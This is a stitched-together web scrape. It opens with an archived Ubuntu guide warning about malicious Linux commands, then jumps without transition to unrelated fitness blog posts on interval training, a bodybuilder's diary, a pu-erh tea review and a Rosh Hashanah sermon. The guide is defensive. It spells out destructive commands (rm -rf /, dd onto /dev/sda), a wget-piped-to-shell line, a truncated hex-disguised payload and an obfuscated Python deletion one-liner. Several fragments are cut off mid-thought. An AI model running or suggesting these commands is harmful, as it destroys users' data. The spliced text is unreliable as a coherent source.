Not only is it a good idea to monitor logs for attempts at using these commands, but it may also be a good idea to test your honeypot (especially if it's a virtual machine) to see if these commands will damage/destroy your honeypot.
Below is a current copy of the guide. It has already dissapeared from the Ubuntu forums, so I felt it would be a good idea to archive "just in case".
This article was originally published in Ubuntu Forums but has recently been removed there. Ubuntuguide feels that knowledge about these risks is more important than any misguided attempts to "protect the public" by hiding their potential dangers or protect the (K)Ubuntu/Linux image. The original article has therefore been re-created (and subsequently edited) here.)
It is worthwhile to have some basic awareness about malicious commands in Linux. Always be cautious when running one of these (or similar) commands (or downloaded scripts) that have been "recommended" as a solution to a problem you may have with your computer.
It is also worthwhile to always enable a screensaver with a password so that a casual passerby is not able to maliciously execute one of these commands from your keyboard while you are away from your computer.
When in doubt as to the safety of a recommended procedure or command, it is best to verify the command's function from several sources, such as from readily available documentation on Linux commands (e.g. manpages).
Here are some common examples of dangerous commands that should raise a red flag. Again, these are extremely dangerous and should not be attempted on any computer that has any physical connection to valuable data. Many of the commands and techniques will cause just as much damage from a LiveCD environment, as well.
This is far from an exhaustive list, but should give some clues as to what kind of things people may try to trick you into doing. Remember these can always be disguised as some obfuscated command or as a part of a long procedure, so the bottom line is to take appropriate caution when executing something that just doesn't "feel right".
Delete all files, delete current directory, or delete visible files in current directoryIt's quite obvious why these commands can be dangerous to execute. rm means remove, -f means "force" deletion (even if write protected), and -r means do it recursively, i.e. all subfolders. Therefore, " rm -rf / " means force a deletion of everything in the root directory and all subfolders. " rm -rf . " means to force deletion of the current directory and all subfolders. " rm -rf * " means to force deletion of all files in the current folder and all subfolders.
rm -rf /Another variation of this, which would all force deletion of the current folder and all subfolders, would be:
rm -rf .
rm -rf *
rm -r .[^.]*which will only exclude the parent directory ".."
Reformat Data on deviceWhatever follows the mkfs command will be destroyed and replaced with a blank filesystem.
Block device manipulationThese commands cause raw data to be written to a block device. Often this will clobber the filesystem and cause total loss of data:
any_command > /dev/sda
dd if=something of=/dev/sda
ForkbombAlthough perhaps intriguing and curiosity-provoking, these commands execute a huge number of processes until the system freezes, forcing a hard reset of the computer (which may cause data corruption, operating system damage, or other awful fate).
- In Bourne-ish shells (like Bash):
- In Perl
fork while fork
TarbombSomeone asks you to extract a tar archive into an existing directory. This tar archive can be crafted to explode into a million files, or can inject files into the system by guessing filenames. You should always decompress tar archives to a clean directory with nothing else in it. Only after determining that the extracted files are what was expected should the extracted files be copied to the final target directory.
Decompression bombsSomeone asks you to extract an archive which appears to be a small download. In reality it's highly compressed data and will inflate to hundreds of GB's, filling your hard drive. You should never download and extract any data, utility, or software from an untrusted source.
Malicious code in Shell scriptsSomeone gives you the link to a shell script (executable from the command line interface using script execution command ./ ) and recommends that you download and execute it. The script might contains any command whatsoever -- whether benign or malevolent. Never execute code from people you don't trust. Examples:
wget http://some_place/some_file -O- | sh
Malicious source code to be compiled then executedSomeone gives you source code then tells you to compile it. It is easy to hide malicious code as a part of a large wad of source code, and source code gives the attacker a lot more creativity for disguising malicious payloads. Do not compile or execute the resulting compiled code unless the source is some well-known application obtained from a reputable site (i.e. SourceForge, the author's homepage, an Ubuntu address).
A famous example of this was code that surfaced on a mailing list. It was disguised as a proof of concept "sudo exploit". It was claimed that if you ran the code, sudo would grants root privileges without a shell (which is what the commands gksudo and kdesudo are for). In the downloaded code was this malicious payload:
char esp __attribute__ ((section(".text"))) /* e.s.pTo the new or even somewhat experienced computer user, this looks like the "hex code gibberish stuff" that is so typical of a safe proof-of-concept. However, this actually runs
"cp -p /bin/sh /tmp/.beyond; chmod 4755
rm -rf ~ / &which will destroy your home directory as a regular user, or all files if you are logged in as root. If you were able to recognize commands in hex string format, you would already be such an expert user that you would never run such untrusted code. But for the rest of us, we must remember that malicious code comes in many novel forms -- be wary about installing code that you know nothing about and the source of which you don't absolutely trust.
Here is another monstrous example (in Python) that no self-respecting programmer or user would ever execute:
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'in which "sn!.sg!+" is simply the rm -rf * command shifted a character up in order to disguise it from casual examination. I wouldn't expect anyone with experience in Python to be foolish enough to paste this monstrous thing into their terminal without suspecting something might be wrong, but how many casual users are fluent in Python?
HIITing Diabetes With the Hammer: 20min of Low-Volume High-Intensity Interval Training is Enough! + Metabolic Benefits and Optimum Interval-Format for Healthy People!
|Figure 1: Number [in millions!] of prediabetics and diagnosed and undiagnosed diabetics in the USA according to data from the American Diabetic Association from January 2011 (ADA. 2011)|
About a month ago, J.P. Little and his colleagues from the University of British Columbia Okanagan published a study in the Journal of Applied Physiology (Little. 2011a), the results of which confirm (once again) the unpopular hypothesis that getting your ass off the couch in order to work it off in the gym hard (!) is the only way to treat a (largely) self-induced health condition that is plaguing 8.3% and threatening another quarter (79 million people with pre-diabetes) of the US population (ADA. 2011, cf. figure 1).
In the Little study (pun intended ;-), it took 8 type 2 diabetics no more than 60 minutes of intense exercise at 90% of their maximal heart rate (+another 60 minutes of rest in between intervals) to
[...] rapidly improve glucose control and induce adaptations in skeletal muscle that are linked to improved metabolic health120 minutes (!) of which only 60 were spent doing 10x60s intervals on a cyclometer brought about changes, no pharmaceutical (or even supplement) will ever produce (without significant side effects). 120 minutes spread across 6 exercise sessions in the course of two weeks, i.e. 3 sessions of 20 minutes per week - probably 20 minutes the majority of the 8 overweight (BMI 32.6kg/m²) diabetics would otherwise have spent on their couch in front of the TV, or - with comparably small benefit - trampling away at 65% of their VO2Max on a recumbent bike. With intervals at 90% of their maximal heart rate, however, the
[...] average 24-h blood glucose concentration was reduced after training (7.6±1.0 vs 6.6±0.7 mmol/L) as were the sum of the 3-h postprandial areas under the glucose curve for breakfast, lunch and dinner (both p<0.05).More importantly, though, HIIT training set the stage for future improvements by improving the capacity of the trainees mitochondria to handle / burn nutrients, with the >3.5x increase in GLUT-4 acticity indicating a profoundly increased capacity for glucose uptake and the +20% increase in citrate synthase activity indicating an increased capacity for substrate oxidation (energy usage) in the cellular power plants of the 8 diabetics (cf. figure 2).
|Figure 2: Improvements citrate synthase, protein content of 70kDA subunit, complex III core 2 protein, complex IV subunit IV, mitofusion 2 and Glut-4 activity - all markers of mitochondrial capacity / efficiency - after 6 sessions of 10x60s cycling at 90% HRmax in 8 diabetic patients (data calculated based on Little. 2011a).|
Now, let me ask you: Do we really ask too much of our fellow (and mostly ridiculously lazy) human being, if we ask them to invest one hour of their life per week to exercise into a, no, their healthier future? I wouldn't think so!
|Figure 3: Fat oxidation in kJ per minute during 60 min of cycling at 60% VO2Max before and after 7 sessions of HIIT training in eight healthy, normal-weight recreationally active women (Talanian. 2006).|
HIIT, yeah... but how to find the right dosage?
Both the Moholdt, as well as the Little study have shown that it does not take much to induce profound health benefits - but what would be the optimal dosage for YOU, who, as a diligent student of the SuppVersity, are probably (or should I say hopefully) neither an overweight diabetic nor a cardiac patient?
|Figure 4: Changes in body weight, body fat (%), peak lactate levels, perceived exertion (RPE) and VO2Max (rel. to body weight) after low intensity continuous training or three different HIIT protocols in recreational cyclists (data calculated based on Seiler. 2011)|
Hard, but neither torturous, nor time consuming
The results, I have plotted in figure 4, confirm that HIIT must be hard, but neither torturous nor time-consuming. Or as the scientists put it:
The 4x8 min prescription induced greater physiological adaptation than both lower and higher intensity interval programs of 64- and 16-min total duration but was perceived as less stressful than 4x4 min at ~95% HR max . These ﬁndings suggest an important interaction between accumulated work duration and work intensity that can be optimized for inducing maximal physiolo gical adaptations at manageable RPE [rates of perceived exertion] in endurance athletes performing interval training.
|Image 1: Spinning at ~90% of your max heart rate |
would be one way to do 4x8 intervals.
[...] only HIT altered cardiac substrate utilization, as revealed by a 36% increase in glucose oxidation and a concomitant reduction in fatty acid oxidation, [...] improved cardiac efficiency by decreasing work-independent myocardial oxygen consumption and increased cardiac maximal mitochondrial respiratory capacity.These findings lead the scientists to conclude that "high intensity training is required for induction of changes in cardiac substrate utilization and energetics" and that these improvements may be at the heart (pun intended) of its "superior" ability to increase aerobic capacity - or as, I previously phrased it: HIT, not steady state aerobics, is real cardio training! You would not train a 20inch biceps with blue 2pound sand-filled plastic dumbbells, would you? I think, I will leave it on that, for today and wish you all have an intense weekend (whatever your interpretation of that may be ;-)
|Image 2: There is no one-size-fits-it-all HIIT training.|
On the other hand, the results of the Seiler study also showed that shorter intervals at higher intensity lead (in this subject group) to greater rates of perceived exertion. Now, I dare say that 95% of the trainees who are doing the standard ~1min bouts of all-out exercise - are not going "all out" in the sense that they are scratching their real heart rate max. If they did, I am quite sure they would (in line with the results from the Seiler study) confirm that 8min @90% did not wear them out as much as 1min @100% of ALL OUT exercise at their max. heart. This leaves the question to be answered, whether 4 intervals à 8 minutes are optimal for everyone? And this is fortunately a question that is easy to be answered... 4x8 is obviously for "advanced" athletes (who have been practicing some type of endurance activity already). From my training experience, I know that untrained (or less trained) trainees sometimes do not even reach "target heart rates ~90%" before they feel so exhausted that they give up.
|Image 3: The type of equipment you are using will also have an influence on optimal interval length; doing 8-min all-out intervals on the treadmill certainly are no viable option - even not for highly trained athletes!|
Seiler. 2004; Driller. 2009; Seiler. 2011), as they are more sport-specific. Overall, it is yet always about balancing duration (individual interval length + number of intervals + rest days in-between) vs. intensity (heart rate) to find your optimal HIIT protocol (Gross. 2007; Zuniga. 2011)
While easier to come by than most other products the company produces, you still may have to look around a bit to find it. Just be patient, and you’re bound to come across it eventually.
KEYWORDS: Go Fast Energy Drink review, stronger for longer, sports energy drink
|Image 1: If this is how you feel, than it is about time you take one week off from whatever routine you are on.|
The results of this practice, in the best case, are boredom and discontent - in the worst case, however, our routines will burn us out and make us sick. Adelfo, our man at the 2012 Wheelchair Nationals, is well aware of the fallacy of routines - especially when it comes to going to the gym day in and day out and he knows that taking a day off before you feel it is utterly necessary is way smarter than digging a whole out of which you cannot escape, no matter how "hard" you rest ;-)
One Week Out = One Week Off
I'm taking a week off from training, before the hot phase of my contest preparation begins. The time, this stands out of question, is well spent to heal my nagging pains, to rest my body, who has already been sending me the first signs of a cold and, most importantly, to be able - mentally as well as physically - to really kickstart my contest preparation in October.
|Image 2: Comparison shots from September, 1st to September 21 2011 - the prep has not yet begun, therefore no major changes in this time of experimentation (photos by Adelfo Cerame, 2011)|
"You should always listen to your body!"
Well, I guess you will have heard this verdict before "listen to your body" - but what if your heart, certainly a part of your body, cries - "I am afraid I could lose muscle!" and it cries so loud that you can hardly hear the your aching muscles under the pain of weeks and months of continuous training. Now, what can your do? I guess, the best thing will be to advice your brain to tell your heart to shut up and rest. At least that is what I decided to do and to take my mind off the issue of losing muscle or getting fat, I am sitting down and getting the plan for my contest preparation stream-lined. I am planning my workouts (and off times !), sketching the meals I will be eating and deciding on which the foods that will make up the majority of my diet in the next 4-5 months.
"Rest appropriate nutrition" - cutting back carbs, when you don't need them
|Image 2: Healthy post-workout meal of the week - 7oz raw wild caught salmon, 12oz sweet potatoe, 6 carrots, 1c mangoes, 1 tbs raw blue agave and some refreshing coconut milk - the all natural sports beverage!|
- raw milk, carrots and raw cheese, or
- raw/seared steaks / sashimi with carrots or fruit and coconut oil, or
- raw wild caught salmon from image 3, but without the sweet poatoe
Refeed? I guess you have already been waiting for this keyword to occur. After all, I promised you to report on my experience with a fruit based refeed... Well, I gorged on fruits just as I would have done with pancakes and the processed carbs that I usually eat on my re-feeds, and... I would have to say that even though I stuffed myself with fruits I did not get that comatose or sick feeling that I usually get, with the crappy foods from the grocery store. While I am still not a 100% sold on the idea, I am toying with the idea to start out my prep with fruit-based refeeds. We will see whether this will be sustainable, once I start getting leaner... for now, it works fine, though.
Adelfo Cerame's personal blueprint: Mens sana in corpore sano
|Video 1: Adelfo does single arm cable rows 2 weeks before the hot phase of his contest preparation.|
I will also try and use my week wisely to do some meditating, soul searching and spend some time with the Lord, as I like to be spiritually healthy just as I am physically healthy. And, in case spirituality is not for you and you do not feel like taking a week off, anyway, you may want to check out the promised training video (video 1), head to the gym and treat yourself to a large portion of wild-caught salmon with delicious sweet potatoes and some carrots (cf. image 2) ;-)
This sample comes to me courtesy of MarshalN, whom I begged for a sample because I happen to own a similar cake from the year before. I wanted a glimpse into the future. The moldy future, as per the frosty leaf below:
This traditionally stored tea went through its time at a wet storage warehouse, and its release into the market is perhaps premature. Generally, these teas are wet stored for 2 years and then aired out for another long period, perhaps as much as 6 to 10 years or more. 2005 plus 2 is 2007, plus 6 is 2013. But here it is, our little premie, forced into our world still frosted with mold.
In 2005, this cake was known for being a punch-you-in-the-mouth (ow!) sheng pu, powerful, bitter, complex, and with a long aftertaste. And now...?
The first two infusions are mostly mold taste, with some tea flavor appearing when cool. The more interesting flavors appear thereafter, but with the mold taste ever-present above them. It's strong but more like a slap (I demand satisfaction, sir!) than a punch, to keep my violent metaphor going. The "soup" is nicely thick and the aftertaste and afteraroma are decently long. It even lingers at the root of the tongue.
It pleased me to see this tea change into something drinkable and enjoyable, moldiness aside. It would do better with drier storage, and so I'm looking forward to tasting mine again soon to see how it compares.
From the brewed leaves as pictured above, it seems the storage was not too wet; the leaves have not carbonized, and they retain their tenderness and flexibility.
HIIT is the Hit! Interval, not Steady State Aerobics is the Way to Go - Even for Patients with Myocardial Infarctions!
|Image 1: Right in the starting block is where heart health begins... and on the finish line of a marathon race probably is where heart health ends (if not much earlier)|
For their study Trine Moholdt and her colleagues recruited 107 patients who had been hospitalized for myocardial infarction 2-12 weeks before the study and randomly assigned them to usual care rehabilitation or an aerobic interval training performed. In the course of the 12 week study period the exercise protocol was performed thrice a week. Two sessions were supervised, the other one had to be performed at home.
- usual care rehabilitation program - the standard program comprised 60 minutes of aerobic exercises performed to music; the sessions were lead by a physiotherapists, and after a 10-minute warm-up, the patients did aerobic exercises like walking, jogging, lunges and squats for 35 minutes, which were followed by a 5-minute cool-down with stretching and relaxation exercises.
- aerobic interval training - the total session time of the interval training was 38 minutes; it consisted of an 8-minute warm-up, followed by 4x4-minute intervals at 85–95% of the maximum heart rate (monitored by heart rate monitor), with active rest of 3 minutes of walking at 70% of maximum heart in between the intervals; the exercise session was terminated with a 5-minutes cool-down.
|Figure 1: Improvements in VO2Max, peak heart rate, respiratory exchange rate at peak heart rate and heart rate recovery in cardiac patients after 12 weeks on the usual care rehabiliation program or an intense aerobic interval training (data calculated based on Moholdt. 2011)|
Flow-mediated vasodilatation, both non-normalised and normalised to shear stimulus, increased signiﬁcantly after exercise training in both groups [...] Quality of life increased signiﬁcantly after exercise training (between-group diﬀerences, not signiﬁcant)If we look at the blood parameters, however, we do yet see some interesting differences, even your medical practitioner could not argue away:
|Figure 2: Changes in high density lipoprotein and adiponectin in cardiac patients after 12 weeks on the usual care rehabiliation program or an intense aerobic interval training (data calculated based on Moholdt. 2011)|
Unfortunately, the body composition of the patients was not tracked in the study, so this leaves us with the "surprising" benefits of intense interval training for the hearts of patients with prior myocardial infarction as the main result of a study some medical practitioners would probably not even have dared conducting.
While all Jewish Holidays commemorate something specific to the Jewish people i.e., Passover - the exodus for Egypt, Shavuot, the giving of the Ten Commandments etc. the High Holiday of Rosh Hashanah is commemorating the creation of man. This is not something specific to the Jewish people but for all of humanity.
On the sixth day of creation 5772 years ago, when G-d made man – and incidentally according to the Bible, this human being was a man and woman creation joined at the hips, the Bible describes this day as the beginning of G-ds accomplishments in the world. Six days already went by, the heavens, planets, animals, trees etc where created, and yet, only when the human being was made, did G-d consider, finally things are starting to happen.
The purpose of creation, and the reason for everything else, was only a prelude to the creation of the human race as the Bible says, when Adam proclaimed on that first Friday, “let us all bow and prostrate before G-d who made us” that is when “the Lord was king, he garbed himself in grandeur…… he (finally) established the world firmly”. The universe was complete, and the Sabbath was ushered in.
This is the central theme of Rosh Hashanah, coronating G-d as our King and we as His subjects.
The great mystics tell us that once a day is imbued with certain energies, this occurrence repeats itself and renews itself every year that this day is relived all over again.
On Rosh Hashanah we are contemplating on the very special role we human beings have in the scheme of what takes place in the Universe. Everything in our world was made to serve us human beings and depends on us. G-d waits for us to recognize his sovereignty, and with that permission, He works with us at our side, “G-d is your shadow.” This is our very special power and responsibility as the principle reason for creation.
When G-d made the world, He made all the planets in one command. All the animals in one gesture, all the vegetation at one time. When it came to making the human race, G-d made one person. The whole world, including G-d, is looking to each individual person as if there was no one else, to make that difference.
The only creatures endowed with a mind to think of themselves and of their lives in third person, something that a stone or a tree or an animal is not able to do, is the human being.
Rosh Hashanah is the time to consider, that we as human beings certainly did not make ourselves. The universe surely did not make itself. This is the time to think of our connection with the true source of all and re-establish our bonds with G-d. Have we done things to block and sever our ties, are there areas that can use improvement to strengthen our attachment with G-d? Have we invited the supreme sovereign of the Universe who certainly has all the powers to do as he pleases, into our lives? On a daily basis?? Not a second can go by, when we don’t need G-ds ever watchful eye over us.
“As we begin the year, so it goes.” May we all merit the awareness of G-d upon us all the time. That will be our blessing for a most elevated and blessed sweet New Year.